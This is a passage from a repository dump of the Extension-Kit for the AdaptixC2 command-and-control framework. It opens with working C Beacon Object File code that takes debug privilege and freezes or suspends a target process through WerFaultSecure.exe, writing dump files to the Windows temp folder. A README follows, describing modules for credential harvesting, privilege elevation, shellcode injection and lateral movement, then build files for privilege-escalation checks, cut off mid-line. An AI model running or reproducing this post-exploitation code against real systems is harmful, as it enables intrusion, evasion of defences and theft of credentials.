\"Target process protected\");\n            break;\n        }\n    }\n\n    if (suspended) {\n        if (SuspendProcessByPID(werPID)) {\n            BeaconAddValue(KEY_HPROCESS, (void*)(ULONG_PTR)hProcess);\n            BeaconAddValue(KEY_HTHREAD, (void*)(ULONG_PTR)hThread);\n            BeaconAddValue(KEY_HDUMP, (void*)(ULONG_PTR)hDump);\n            BeaconAddValue(KEY_HENCDUMP, (void*)(ULONG_PTR)hEncDump);\n            BeaconAddValue(KEY_HCANCEL, (void*)(ULONG_PTR)hCancel);\n            BeaconAddValue(KEY_WERPID, (void*)(ULONG_PTR)werPID);\n            BeaconAddValue(KEY_TARGETPID, (void*)(ULONG_PTR)targetPID);\n            BeaconAddValue(KEY_ACTIVE, (void*)1);\n\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Frozen PID %d\", targetPID);\n            return TRUE;\n        } else {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to suspend\");\n        }\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"Target process protected\");\n    }\n\n    KERNEL32$TerminateProcess(hProcess, 1);\n    KERNEL32$CloseHandle(hProcess);\n    KERNEL32$CloseHandle(hThread);\n    KERNEL32$CloseHandle(hDump);\n    KERNEL32$CloseHandle(hEncDump);\n    KERNEL32$CloseHandle(hCancel);\n    KERNEL32$DeleteFileW(dumpFileName);\n    KERNEL32$DeleteFileW(encDumpFileName);\n\n    return FALSE;\n}\n\nBOOL UnfreezeRun()\n{\n    if (BeaconGetValue(KEY_ACTIVE) == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"No frozen state found\");\n        return FALSE;\n    }\n\n    HANDLE hProcess = (HANDLE)(ULONG_PTR)BeaconGetValue(KEY_HPROCESS);\n    HANDLE hThread = (HANDLE)(ULONG_PTR)BeaconGetValue(KEY_HTHREAD);\n    HANDLE hDump = (HANDLE)(ULONG_PTR)BeaconGetValue(KEY_HDUMP);\n    HANDLE hEncDump = (HANDLE)(ULONG_PTR)BeaconGetValue(KEY_HENCDUMP);\n    HANDLE hCancel = (HANDLE)(ULONG_PTR)BeaconGetValue(KEY_HCANCEL);\n    DWORD targetPID = (DWORD)(ULONG_PTR)BeaconGetValue(KEY_TARGETPID);\n\n    if (hProcess) KERNEL32$TerminateProcess(hProcess, 1);\n    if (hProcess) KERNEL32$CloseHandle(hProcess);\n    if (hThread) KERNEL32$CloseHandle(hThread);\n    if (hDump) KERNEL32$CloseHandle(hDump);\n    if (hEncDump) KERNEL32$CloseHandle(hEncDump);\n    if (hCancel) KERNEL32$CloseHandle(hCancel);\n\n    wchar_t dumpFileName[MAX_PATH];\n    wchar_t encDumpFileName[MAX_PATH];\n    MSVCRT$_snwprintf(dumpFileName, MAX_PATH, L\"C:\\\\Windows\\\\Temp\\\\pf_%d.tmp\", targetPID);\n    MSVCRT$_snwprintf(encDumpFileName, MAX_PATH, L\"C:\\\\Windows\\\\Temp\\\\pf_%d.enc\", targetPID);\n    KERNEL32$DeleteFileW(dumpFileName);\n    KERNEL32$DeleteFileW(encDumpFileName);\n\n    BeaconRemoveValue(KEY_HPROCESS);\n    BeaconRemoveValue(KEY_HTHREAD);\n    BeaconRemoveValue(KEY_HDUMP);\n    BeaconRemoveValue(KEY_HENCDUMP);\n    BeaconRemoveValue(KEY_HCANCEL);\n    BeaconRemoveValue(KEY_WERPID);\n    BeaconRemoveValue(KEY_TARGETPID);\n    BeaconRemoveValue(KEY_ACTIVE);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Resumed PID %d\", targetPID);\n    return TRUE;\n}\n\nvoid go(char* args, int len)\n{\n    datap parser;\n    BeaconDataParse(&parser, args, len);\n\n    int mode = BeaconDataInt(&parser);\n    DWORD pid = BeaconDataInt(&parser);\n\n    wchar_t werPath[MAX_PATH];\n    MSVCRT$_snwprintf(werPath, MAX_PATH, L\"C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe\");\n\n    if (mode == MODE_UNFREEZE) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] WARNING: Unfreeze may not work on Windows 10\");\n        UnfreezeRun();\n        return;\n    }\n\n    if (!EnableDebugPrivilege()) {\n        BeaconPrintf(CALLBACK_ERROR, \"Need elevated privileges\");\n        return;\n    }\n\n    DWORD tid = GetMainThreadId(pid);\n    if (tid == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"Process not found\");\n        return;\n    }\n\n    if (mode == MODE_FREEZE) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] WARNING: Unfreeze may not work on Windows 10\");\n        FreezeRun(werPath, pid, tid);\n    }\n}"
  },
  {
    "path": "README.md",
    "content": "# Extension-Kit\n\nExtension Kit for [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2)\n\n# Installation\n\n```\n# Ubuntu/Kali\napt install g++-mingw-w64-x86-64-posix  gcc-mingw-w64-x86-64-posix  mingw-w64-tools\n\n# Arch\npacman -Syu mingw-w64-x86_64-gcc mingw-w64-x86_64-gcc-libs\n```\n\nBuilding modules via make\n\n```bash\ngit clone https://github.com/Adaptix-Framework/Extension-Kit\ncd Extension-Kit\nmake\n```\n\nLoad all modules in AdaptixC2 client: **Main menu** -> **AxScript** -> **Script manager**. \n\n![](./_img/01.png)\n\n**Context menu** -> **Load new** and select the _extension-kit.axs_ file.\n\n# Modules\n\n## AD-BOF\n\nA BOFs that contains common enumeration and attack methods for Windows Active Directory.\n\n![](./AD-BOF/_img/01.png)\n\n![](./AD-BOF/_img/02.png)\n\n![](./AD-BOF/_img/03.png)\n\n![](./AD-BOF/_img/04.png)\n\n![](./AD-BOF/_img/05.png)\n\n## Creds-BOF\n\nBOF tools that can be used to harvest passwords [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Creds-BOF/README.md)\n\n![](./Creds-BOF/_img/01.png)\n\n\n\n## Elevation-BOF\n\nBOFs for context elevation. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Elevation-BOF/README.md)\n\n![](./Elevation-BOF/_img/01.png)\n\n\n\n## Execution-BOF \n\nBOFs for inline execution. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Execution-BOF/README.md)\n\n![](./Execution-BOF/_img/01.png)\n\n\n\n## Injection-BOF\n\nBeacon Object Files for injects desired shellcode into target process. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Injection-BOF/README.md)\n\n![](./Injection-BOF/_img/01.png)\n\n\n\n## LateralMovement-BOF\n\nBOFs for lateral movement with the specified method. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/LateralMovement-BOF/README.md)\n\n![](./LateralMovement-BOF/_img/01.png)\n\n\n\n## Process-BOF\n\nBOFs that provide situational awareness of processes, modules, and services. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Process-BOF/README.md)\n\n![](./Process-BOF/_img/01.png)\n\n\n\n## Postex-BOF\n\nThis extension allows you to customize the Beacon Object File (BOF) for future use. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/Postex-BOF/README.md)\n\n![](./Postex-BOF/_img/01.png)\n\n\n\n## SAL-BOF\n\nSituation Awareness Local BOFs. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/SAL-BOF/README.md)\n\n![](./SAL-BOF/_img/01.png)\n\n\n\n## SAR-BOF\n\nSituation Awareness Remote BOFs. [More details](https://github.com/Adaptix-Framework/Extension-Kit/blob/main/SAR-BOF/README.md)\n\n![](./SAR-BOF/_img/01.png)\n\n\n\n# CONTRIBUTING\n\nPlease pushing сhanges to **dev** branch. Otherwise, changes will be made manually in the **dev** branch.\n"
  },
  {
    "path": "SAL-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(SAL-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(ARP_SOURCES arp/arp.c)\nset(CACLS_SOURCES cacls/cacls.c)\nset(DIR_SOURCES dir/dir.c)\nset(ENV_SOURCES env/env.c)\nset(IPCONFIG_SOURCES ipconfig/ipconfig.c)\nset(LISTDNS_SOURCES listdns/listdns.c)\nset(NETSTAT_SOURCES netstat/netstat.c)\nset(NSLOOKUP_SOURCES nslookup/nslookup.c)\nset(ROUTEPRINT_SOURCES routeprint/routeprint.c)\nset(UPTIME_SOURCES uptime/uptime.c)\nset(USERIDLETIME_SOURCES useridletime/useridletime.c)\nset(WHOAMI_SOURCES whoami/whoami.c)\nset(VULNDRIVERS_SOURCES privcheck/vulnerabledrivers.c)\nset(ALWAYSELEVATED_SOURCES privcheck/alwaysinstallelevated.c)\nset(HIJACKABLEPATH_SOURCES privcheck/hijackablepath.c)\nset(TOKENPRIV_SOURCES privcheck/tokenprivileges.c)\nset(UNATTENDFILES_SOURCES privcheck/unattendfiles.c)\nset(UNQUOTEDSVC_SOURCES privcheck/unquotedsvcpath.c)\nset(AUTOLOGON_SOURCES privcheck/autologon.c)\nset(CREDMANAGER_SOURCES privcheck/credentialmanager.c)\nset(MODAUTORUN_SOURCES privcheck/modifiableautorun.c)\nset(MODSVC_SOURCES privcheck/modifiablesvc.c)\nset(PSHISTORY_SOURCES privcheck/pshistory.c)\nset(UACSTATUS_SOURCES privcheck/uacstatus.c)\nset(PRIVCHECK_ALL_SOURCES privcheck/privcheck_all.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(arp OBJECT ${ARP_SOURCES})\nadd_library(cacls OBJECT ${CACLS_SOURCES})\nadd_library(dir OBJECT ${DIR_SOURCES})\nadd_library(env OBJECT ${ENV_SOURCES})\nadd_library(ipconfig OBJECT ${IPCONFIG_SOURCES})\nadd_library(listdns OBJECT ${LISTDNS_SOURCES})\nadd_library(netstat OBJECT ${NETSTAT_SOURCES})\n\nadd_library(nslookup OBJECT ${NSLOOKUP_SOURCES})\ntarget_compile_options(nslookup PRIVATE -fno-jump-tables)\n\nadd_library(routeprint OBJECT ${ROUTEPRINT_SOURCES})\nadd_library(uptime OBJECT ${UPTIME_SOURCES})\nadd_library(useridletime OBJECT ${USERIDLETIME_SOURCES})\nadd_library(whoami OBJECT ${WHOAMI_SOURCES})\n\n# Privcheck targets\nadd_library(vulndrivers OBJECT ${VULNDRIVERS_SOURCES})\ntarget_compile_options(vulndrivers PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(alwayselevated OBJECT ${ALWAYSELEVATED_SOURCES})\ntarget_compile_options(alwayselevated PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(hijackablepath OBJECT ${HIJACKABLEPATH_SOURCES})\ntarget_compile_options(hijackablepath PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(tokenpriv OBJECT ${TOKENPRIV_SOURCES})\ntarget_compile_options(tokenpriv PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(unattendfiles OBJECT ${UNATTENDFILES_SOURCES})\ntarget_compile_options(unattendfiles PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(unquotedsvc OBJECT ${UNQUOTEDSVC_SOURCES})\ntarget_compile_options(unquotedsvc PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(autologon OBJECT ${AUTOLOGON_SOURCES})\ntarget_compile_options(autologon PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(credmanager OBJECT ${CREDMANAGER_SOURCES})\ntarget_compile_options(credmanager PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(modautorun OBJECT ${MODAUTORUN_SOURCES})\ntarget_compile_options(modautorun PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(modsvc OBJECT ${MODSVC_SOURCES})\ntarget_compile_options(modsvc PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(pshistory OBJECT ${PSHISTORY_SOURCES})\ntarget_compile_options(pshistory PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(uacstatus OBJECT ${UACSTATUS_SOURCES})\ntarget_compile_options(uacstatus PRIVATE -w -Wno-incompatible-pointer-types)\n\nadd_library(privcheck_all OBJECT ${PRIVCHECK_ALL_SOURCES})\ntarget_compile_options(privcheck_all PRIVATE -w -Wno-incompatible-pointer-types)\n\n# Custom command to download vulnerable driver list\nadd_custom_target(download_vulnerable_driver_list\n    COMMAND python3 ${CMAKE_CURRENT_SOURCE_DIR}/privcheck/download_vulnerable_driver_list.py\n    WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}\n    COMMENT \"Downloading vulnerable driver list\"\n)\n\nadd_dependencies(vulndrivers download_vulnerable_driver_list)\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_arp ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:arp> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/arp.x64.o\n    DEPENDS arp\n    COMMENT \"Copying arp object file\"\n)\n\nadd_custom_target(copy_cacls ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:cacls> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/cacls.x64.o\n    DEPENDS cacls\n    COMMENT \"Copying cacls object file\"\n)\n\nadd_custom_target(copy_dir ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:dir> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/dir.x64.o\n    DEPENDS dir\n    COMMENT \"Copying dir object file\"\n)\n\nadd_custom_target(copy_env ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:env> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/env.x64.o\n    DEPENDS env\n    COMMENT \"Copying env object file\"\n)\n\nadd_custom_target(copy_ipconfig ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:ipconfig> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/ipconfig.x64.o\n    DEPENDS ipconfig\n    COMMENT \"Copying ipconfig object file\"\n)\n\nadd_custom_target(copy_listdns ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:listdns> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/listdns.x64.o\n    DEPENDS listdns\n    COMMENT \"Copying listdns object file\"\n)\n\nadd_custom_target(copy_netstat ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:netstat> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/netstat.x64.o\n    DEPENDS netstat\n    COMMENT \"Copying netstat object file\"\n)\n\nadd_custom_target(copy_nslookup ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:nslookup> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/nslookup.x64.o\n    DEPENDS nslookup\n    COMMENT \"Copying nslookup object file\"\n)\n\nadd_custom_target(copy_routeprint ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:routeprint> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/routeprint.x64.o\n    DEPENDS routeprint\n    COMMENT \"Copying routeprint object file\"\n)\n\nadd_custom_target(copy_uptime ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uptime> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uptime.x64.o\n    DEPENDS uptime\n    COMMENT \"Copying uptime object file\"\n)\n\nadd_custom_target(copy_useridletime ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:useridletime> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/useridletime.x64.o\n    DEPENDS useridletime\n    COMMENT \"Copying useridletime object file\"\n)\n\nadd_custom_target(copy_whoami ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:whoami> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/whoami.x64.o\n    DEPENDS whoami\n    COMMENT \"Copying whoami object file\"\n)\n\nadd_custom_target(copy_vulndrivers ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:vulndrivers> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/vulndrivers.x64.o\n    DEPENDS vulndrivers\n    COMMENT \"Copying vulndrivers object file\"\n)\n\nadd_custom_target(copy_alwayselevated ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:alwayselevated> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/alwayselevated.x64.o\n    DEPENDS alwayselevated\n    COMMENT \"Copying alwayselevated object file\"\n)\n\nadd_custom_target(copy_hijackablepath ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:hijackablepath> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/hijackablepath.x64.o\n    DEPENDS hijackablepath\n    COMMENT \"Copying hijackablepath object file\"\n)\n\nadd_custom_target(copy_tokenpriv ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:tokenpriv> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/tokenpriv.x64.o\n    DEPENDS tokenpriv\n    COMMENT \"Copying tokenpriv object file\"\n)\n\nadd_custom_target(copy_unattendfiles ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:unattendfiles> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/unattendfiles.x64.o\n    DEPENDS unattendfiles\n    COMMENT \"Copying unattendfiles object file\"\n)\n\nadd_custom_target(copy_unquotedsvc ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:unquotedsvc> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/unquotedsvc.x64.o\n    DEPENDS unquotedsvc\n    COMMENT \"Copying unquotedsvc object file\"\n)\n\nadd_custom_target(copy_autologon ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:autologon> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/autologon.x64.o\n    DEPENDS autologon\n    COMMENT \"Copying autologon object file\"\n)\n\nadd_custom_target(copy_credmanager ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:credmanager> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/credmanager.x64.o\n    DEPENDS credmanager\n    COMMENT \"Copying credmanager object file\"\n)\n\nadd_custom_target(copy_modautorun ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:modautorun> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/modautorun.x64.o\n    DEPENDS modautorun\n    COMMENT \"Copying modautorun object file\"\n)\n\nadd_custom_target(copy_modsvc ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:modsvc> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/modsvc.x64.o\n    DEPENDS modsvc\n    COMMENT \"Copying modsvc object file\"\n)\n\nadd_custom_target(copy_pshistory ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:pshistory> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/pshistory.x64.o\n    DEPENDS pshistory\n    COMMENT \"Copying pshistory object file\"\n)\n\nadd_custom_target(copy_uacstatus ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:uacstatus> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/uacstatus.x64.o\n    DEPENDS uacstatus\n    COMMENT \"Copying uacstatus object file\"\n)\n\nadd_custom_target(copy_privcheck_all ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:privcheck_all> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/privcheck_all.x64.o\n    DEPENDS privcheck_all\n    COMMENT \"Copying privcheck_all object file\"\n)\n"
  },
  {
    "path": "SAL-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -w -Wno-incompatible-pointer-types -Os -DBOF -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\t# 64-bit builds\n\t@($(CC64) $(CFLAGS) arp/arp.c -o _bin/arp.x64.o && $(STRIP64) _bin/arp.x64.o) && echo '[+] arp x64' || echo '[!] arp x64'\n\t@($(CC64) $(CFLAGS) cacls/cacls.c -o _bin/cacls.x64.o && $(STRIP64) _bin/cacls.x64.o) && echo '[+] cacls x64' || echo '[!] cacls x64'\n\t@($(CC64) $(CFLAGS) dir/dir.c -o _bin/dir.x64.o && $(STRIP64) _bin/dir.x64.o) && echo '[+] dir x64' || echo '[!] dir x64'\n\t@($(CC64) $(CFLAGS) env/env.c -o _bin/env.x64.o && $(STRIP64) _bin/env.x64.o) && echo '[+] env x64' || echo '[!] env x64'\n\t@($(CC64) $(CFLAGS) ipconfig/ipconfig.c -o _bin/ipconfig.x64.o && $(STRIP64) _bin/ipconfig.x64.o) && echo '[+] ipconfig x64' || echo '[!] ipconfig x64'\n\t@($(CC64) $(CFLAGS) listdns/listdns.c -o _bin/listdns.x64.o && $(STRIP64) _bin/listdns.x64.o) && echo '[+] listdns x64' || echo '[!] listdns x64'\n\t@($(CC64) $(CFLAGS) netstat/netstat.c -o _bin/netstat.x64.o && $(STRIP64) _bin/netstat.x64.o) && echo '[+] netstat x64' || echo '[!] netstat x64'\n\t@($(CC64) $(CFLAGS) -fno-jump-tables nslookup/nslookup.c -o _bin/nslookup.x64.o && $(STRIP64) _bin/nslookup.x64.o) && echo '[+] nslookup x64' || echo '[!] nslookup x64'\n\t@($(CC64) $(CFLAGS) routeprint/routeprint.c -o _bin/routeprint.x64.o && $(STRIP64) _bin/routeprint.x64.o) && echo '[+] routeprint x64' || echo '[!] routeprint x64'\n\t@($(CC64) $(CFLAGS) uptime/uptime.c -o _bin/uptime.x64.o && $(STRIP64) _bin/uptime.x64.o) && echo '[+] uptime x64' || echo '[!] uptime x64'\n\t@($(CC64) $(CFLAGS) useridletime/useridletime.c -o _bin/useridletime.x64.o && $(STRIP64) _bin/useridletime.x64.o) && echo '[+] useridletime x64' || echo '[!] useridletime x64'\n\t@($(CC64) $(CFLAGS) whoami/whoami.c -o _bin/whoami.x64.o && $(STRIP64) _bin/whoami.x64.o) && echo '[+] whoami x64' || echo '[!] whoami x64'\n\t@(python3 ./privcheck/download_vulnerable_driver_list.py)\n\t@($(CC64) $(CFLAGS) privcheck/vulnerabledrivers.c -o _bin/vulndrivers.x64.o && $(STRIP64) _bin/vulndrivers.x64.o) && echo '[+] vulndrivers x64' || echo '[!] vulndrivers x64'\n\t@($(CC64) $(CFLAGS) privcheck/alwaysinstallelevated.c -o _bin/alwayselevated.x64.o && $(STRIP64) _bin/alwayselevated.x64.o) && echo '[+] alwayselevated x64' || echo '[!] alwayselevated x64'\n\t@($(CC64) $(CFLAGS) privcheck/hijackablepath.c -o _bin/hijackablepath.x64.o && $(STRIP64) _bin/hijackablepath.x64.o) && echo '[+] hijackablepath x64' || echo '[!] hijackablepath x64'\n\t@($(CC64) $(CFLAGS) privcheck/tokenprivileges.c -o _bin/tokenpriv.x64.o && $(STRIP64) _bin/tokenpriv.x64.o) && echo '[+] tokenpriv x64' || echo '[!] tokenpriv x64'\n\t@($(CC64) $(CFLAGS) privcheck/unattendfiles.c -o _bin/unattendfiles.x64.o && $(STRIP64) _bin/unattendfiles.x64.o) && echo '[+] unattendfiles x64' || echo '[!] unattendfiles x64'\n\t@($(CC64) $(CFLAGS) privcheck/unquotedsvcpath.c -o _bin/unquotedsvc.x64.o && $(STRIP64) _bin/unquotedsvc.x64.o) && echo '[+] unquotedsvc x64' || echo '[!] unquotedsvc x64'\n\t@($(CC64) $(CFLAGS) privcheck/autologon.c -o _bin/autologon.x64.o && $(STRIP64) _bin/autologon.x64.o) && echo '[+] autologon x64' || echo '[!] autologon x64'\n\t@($(CC64) $(CFLAGS) privcheck/credentialmanager.c -o _bin/credmanager.x64.o && $(STRIP64) _bin/credmanager.x64.o) && echo '[+] credmanager x64' || echo '[!] credmanager x64'\n\t@($(CC64) $(CFLAGS) privcheck/modifiableautorun.c -o _bin/modautorun.x64.o && $(STRIP64) _bin/modautorun.x64.o) && echo '[+] modautorun x64' || echo '[!] modautorun x64'\n\t@($(CC64) $(CFLAGS) privcheck/modifiablesvc.c -o _bin/modsvc.x64.o && $(STRIP64) _bin/modsvc.x64.o) && echo '[+] modsvc x64' || echo '[!] modsvc x64'\n\t@($(CC64) $(CFLAGS) privcheck/pshistory.c -o _bin/pshistory.x64.o && $(STRIP64) _bin/pshistory.x64.o) && echo '[+] pshistory x64' || echo '[!] pshistory x64'\n\t@($(CC64) $(CFLAGS) privcheck/uacstatus.c -o _bin/uacstatus.x64.o && $(STRIP64) _bin/uacstatus.x64.o) && echo '[+] uacstatus x64' || echo '[!] uacstatus x64'\n\t@($(CC64) $(CFLAGS) privcheck/privcheck_all.c -o _bin/privcheck_all.x64.o && $(STRIP64) _bin/privcheck_all.x64.o) && echo '[+] privcheck_all x64' || echo '[!] privcheck_all x64'\n\n\t# 32-bit builds\n\t@($(CC86) $(CFLAGS) arp/arp.c -o _bin/arp.x32.o && $(STRIP86) _bin/arp.x32.o) && echo '[+] arp x32' || echo '[!] arp x32'\n\t@($(CC86) $(CFLAGS) cacls/cacls.c -o _bin/cacls.x32.o && $(STRIP86) _bin/cacls.x32.o) && echo '[+] cacls x32' || echo '[!] cacls x32'\n\t@($(CC86) $(CFLAGS) dir/dir.c -o _bin/dir.x32.o && $(STRIP86) _bin/dir.x32.o) && echo '[+] dir x32' || echo '[!] dir x32'\n\t@($(CC86) $(CFLAGS) env/env.c -o _bin/env.x32.o && $(STRIP86) _bin/env.x32.o) && echo '[+] env x32' || echo '[!] env x32'\n\t@($(CC86) $(CFLAGS) ipconfig/ipconfig.c -o _bin/ipconfig.x32.o && $(STRIP86) _bin/ipconfig.x32.o) && echo '[+] ipconfig x32' || echo '[!] ipconfig x32'\n\t@($(CC86) $(CFLAGS) listdns/listdns.c -o _bin/listdns.x32.o && $(STRIP86) _bin/listdns.x32.o) && echo '[+] listdns x32' || echo '[!] listdns x32'\n\t@($(CC86) $(CFLAGS) netstat/netstat.c -o _bin/netstat.x32.o && $(STRIP86) _bin/netstat.x32.o) && echo '[+] netstat x32' || echo '[!] netstat x32'\n\t@#($(CC86) $(CFLAGS) -fno-jump-tables nslookup/nslookup.c -o _bin/nslookup.x32.o && $(STRIP86) _bin/nslookup.x32.o) && echo '[+] nslookup x32' || echo '[!] nslookup x32'\n\t@($(CC86) $(CFLAGS) routeprint/routeprint.c -o _bin/routeprint.x32.o && $(STRIP86) _bin/routeprint.x32.o) && echo '[+] routeprint x32' || echo '[!] routeprint x32'\n\t@($(CC86) $(CFLAGS) uptime/uptime.c -o _bin/uptime.x32.o && $(STRIP86) _bin/uptime.x32.o) && echo '[+] uptime x32' || echo '[!] uptime x32'\n\t@($(CC86) $(CFLAGS) useridletime/useridletime.c -o _bin/useridletime.x32.o && $(STRIP86) _bin/useridletime.x32.o) && echo '[+] useridletime x32' || echo '[!] useridletime x32'\n\t@($(CC86) $(CFLAGS) whoami/whoami.c -o _bin/whoami.x32.o && $(STRIP86) _bin/whoami.x32.o) && echo '[+] whoami x32' || echo '[!] whoami x32'\n\t@($(CC86) $(CFLAGS) privcheck/vulnerabledrivers.c -o _bin/vulndrivers.x32.o && $(STRIP86) _bin/vulndrivers.x32.o) && echo '[+] vulndrivers x32' || echo '[!] vulndrivers x32'\n\t@($(CC86) $(CFLAGS) privcheck/alwaysinstallelevated.c -o _bin/alwayselevated.x32.o && $(STRIP86) _bin/alwayselevated.x32.o) && echo '[+] alwayselevated x32' || echo '[!] alwayselevated x32'\n\t@($(CC86) $(CFLAGS) privcheck/hijackablepath.c -o _bin/hijackablepath.x32.o && $(STRIP86) _bin/hijackablepath.x32.o) && echo '[+] hijackablepath x32' || echo '[!] hijackablepath x32'\n\t@($(CC86) $(CFLAGS) privcheck/tokenprivileges.c -o _bin/tokenpriv.x32.o && $(STRIP86) _bin/tokenpriv.x32.o) && echo '[+] tokenpriv x32' || echo '[!] tokenpriv x32'\n\t@($(CC86) $(CFLAGS) privcheck/unattendfiles.c -o _bin/unattendfiles.x32.o && $(STRIP86) _bin/unattendfiles.x32.o) && echo '[+] unattendfiles x32' || echo '[!] unattendfiles x32'\n\t@($(CC86) $(CFLAGS) privcheck/unquotedsvcpath.c -o _bin/unquotedsvc.x32.o && $(STRIP86) _bin/unquotedsvc.x32.o) && echo '[+] unquotedsvc x32' || echo '[!] unquotedsvc x32'\n\t@($(CC86) $(CFLAGS) privcheck/autologon.c -o _bin/autologon.x32.o && $(STRIP86) _bin/autologon.x32.o) && echo '[+] autologon x32' || echo '[!] autologon x32'\n\t@($(CC86) $(CFLAGS) privcheck/credentialmanager.c -o _bin/credmanager.x32.o && $(STRIP86) _bin/credmanager.x32.o) && echo '[+] credmanager x32' || echo '[!] credmanager x32'\n\t@($(CC86) $(CFLAGS) privcheck/modifiableautorun.c -o _bin/modautorun.x32.o && $(STRIP86) _bin/modautorun.x32.o) && echo '[+] modautorun x32' || echo '[!] modautorun x32'\n\t@($(CC86) $(CFLAGS) privcheck/modifiablesvc.c -o _bin/modsvc.x32.o && $(STRIP86) _bin/modsvc.x32.o) && echo '[+] modsvc x32' || echo '[!] 